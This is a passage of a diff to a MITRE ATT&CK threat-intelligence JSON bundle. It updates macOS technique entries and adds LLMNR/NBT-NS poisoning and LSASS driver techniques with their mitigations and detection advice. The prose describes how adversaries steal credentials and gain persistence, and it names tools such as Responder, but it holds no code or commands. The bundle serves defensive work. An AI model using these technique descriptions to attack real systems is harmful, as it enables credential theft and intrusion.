-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Keychain",
-            "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: MacOS, OS X\n\nData Sources: System calls, Process Monitoring\n\nPermissions Required: Administrator",
+            "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: macOS\n\nData Sources: System calls, Process Monitoring\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6753,8 +6853,7 @@
                 "Process Monitoring"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_permissions_required": [
                 "Administrator"
@@ -6764,8 +6863,8 @@
             "type": "course-of-action",
             "id": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LC_LOAD_DYLIB Addition Mitigation",
             "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.",
             "external_references": [
@@ -6781,9 +6880,9 @@
             "id": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LC_LOAD_DYLIB Addition",
-            "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring\n\nPermissions Required: User",
+            "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6816,20 +6915,19 @@
                 "Process command-line parameters",
                 "File monitoring"
             ],
+            "x_mitre_platforms": [
+                "macOS"
+            ],
             "x_mitre_permissions_required": [
                 "User"
-            ],
-            "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LC_MAIN Hijacking Mitigation",
             "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.",
             "external_references": [
@@ -6845,9 +6943,9 @@
             "id": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LC_MAIN Hijacking",
-            "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
+            "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6889,16 +6987,214 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "LLMNR/NBT-NS Poisoning Mitigation",
+            "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1171",
+                    "external_id": "T1171"
+                },
+                {
+                    "source_name": "ADSecurity Windows Secure Baseline",
+                    "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.",
+                    "url": "https://adsecurity.org/?p=3299"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "LLMNR/NBT-NS Poisoning",
+            "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)\n\nDetection: Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Packet capture, Netflow/Enclave netflow\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1171",
+                    "external_id": "T1171"
+                },
+                {
+                    "source_name": "Wikipedia LLMNR",
+                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
+                    "url": "https://en.wikipedia.org/wiki/Link-Local%20Multicast%20Name%20Resolution"
+                },
+                {
+                    "source_name": "TechNet NetBIOS",
+                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc958811.aspx"
+                },
+                {
+                    "source_name": "GitHub NBNSpoof",
+                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
+                    "url": "https://github.com/nomex/nbnspoof"
+                },
+                {
+                    "source_name": "Rapid7 LLMNR Spoofer",
+                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
+                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr%20response"
+                },
+                {
+                    "source_name": "GitHub Responder",
+                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
+                    "url": "https://github.com/SpiderLabs/Responder"
+                },
+                {
+                    "source_name": "Sternsecurity LLMNR-NBTNS",
+                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
+                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
+                },
+                {
+                    "source_name": "GitHub Conveigh",
+                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
+                    "url": "https://github.com/Kevin-Robertson/Conveigh"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Matthew Demaske, Adaptforward"
+            ],
+            "x_mitre_data_sources": [
+                "Windows Registry",
+                "Packet capture",
+                "Netflow/Enclave netflow"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "LSASS Driver Mitigation",
+            "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1177",
+                    "external_id": "T1177"
+                },
+                {
+                    "source_name": "Microsoft LSA Protection Mar 2014",
+                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
+                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
+                },
+                {
+                    "source_name": "Microsoft Enable Cred Guard April 2017",
+                    "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.",
+                    "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage"
+                },
+                {
+                    "source_name": "Microsoft Credential Guard April 2017",
+                    "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.",
+                    "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works"
+                },
+                {
+                    "source_name": "Microsoft DLL Security",
+                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "LSASS Driver",
+            "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.  (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.\n\nDetection: With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, File monitoring, Kernel drivers, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Vincent Le Toux",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "execution"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1177",
+                    "external_id": "T1177"
+                },
+                {
+                    "source_name": "Microsoft Security Subsystem",
+                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc961760.aspx"
+                },
+                {
+                    "source_name": "Microsoft LSA Protection Mar 2014",
+                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
+                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
+                },
+                {
+                    "source_name": "Microsoft DLL Security",
+                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"
+                },
+                {
+                    "source_name": "TechNet Autoruns",
+                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "DLL monitoring",
+                "File monitoring",
+                "Kernel drivers",
+                "Loaded DLLs",
+                "Process Monitoring"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_remote_support": false,
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launch Agent Mitigation",
             "description": "Restrict user's abilities to create Launch Agents with group policy.",
             "external_references": [
@@ -6914,9 +7210,9 @@
             "id": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launch Agent",
-            "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).  These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User, Administrator",
+            "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).  These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6929,45 +7225,45 @@
                     "url": "https://attack.mitre.org/wiki/Technique/T1159",
                     "external_id": "T1159"
                 },
-                {
-                    "source_name": "AppleDocs Launch Agent Daemons",
-                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
-                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
-                },
-                {
-                    "source_name": "OSX Keydnap malware",
-                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
-                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
-                },
                 {
                     "source_name": "Antiquated Mac Malware",
                     "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                     "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                 },
                 {
-                    "source_name": "OSX.Dok Malware",
-                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
-                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
-                },
-                {
-                    "source_name": "Sofacy Komplex Trojan",
-                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
-                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
+                    "source_name": "AppleDocs Launch Agent Daemons",
+                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
+                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                 },
                 {
                     "source_name": "Methods of Mac Malware Persistence",
                     "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                     "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                 },
+                {
+                    "source_name": "OSX Keydnap malware",
+                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
+                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
+                },
                 {
                     "source_name": "OSX Malware Detection",
                     "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                     "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf"
                 },
+                {
+                    "source_name": "OSX.Dok Malware",
+                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
+                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
+                },
                 {
                     "source_name": "OceanLotus for OS X",
                     "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                     "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
+                },
+                {
+                    "source_name": "Sofacy Komplex Trojan",
+                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                 }
             ],
             "object_marking_refs": [
@@ -6982,16 +7278,15 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launch Daemon Mitigation",
             "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.",
             "external_references": [
@@ -7007,9 +7302,9 @@
             "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launch Daemon",
-            "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
+            "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: macOS\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7058,8 +7353,7 @@
                 "root"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_permissions_required": [
                 "Administrator"
@@ -7069,8 +7363,8 @@
             "type": "course-of-action",
             "id": "course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
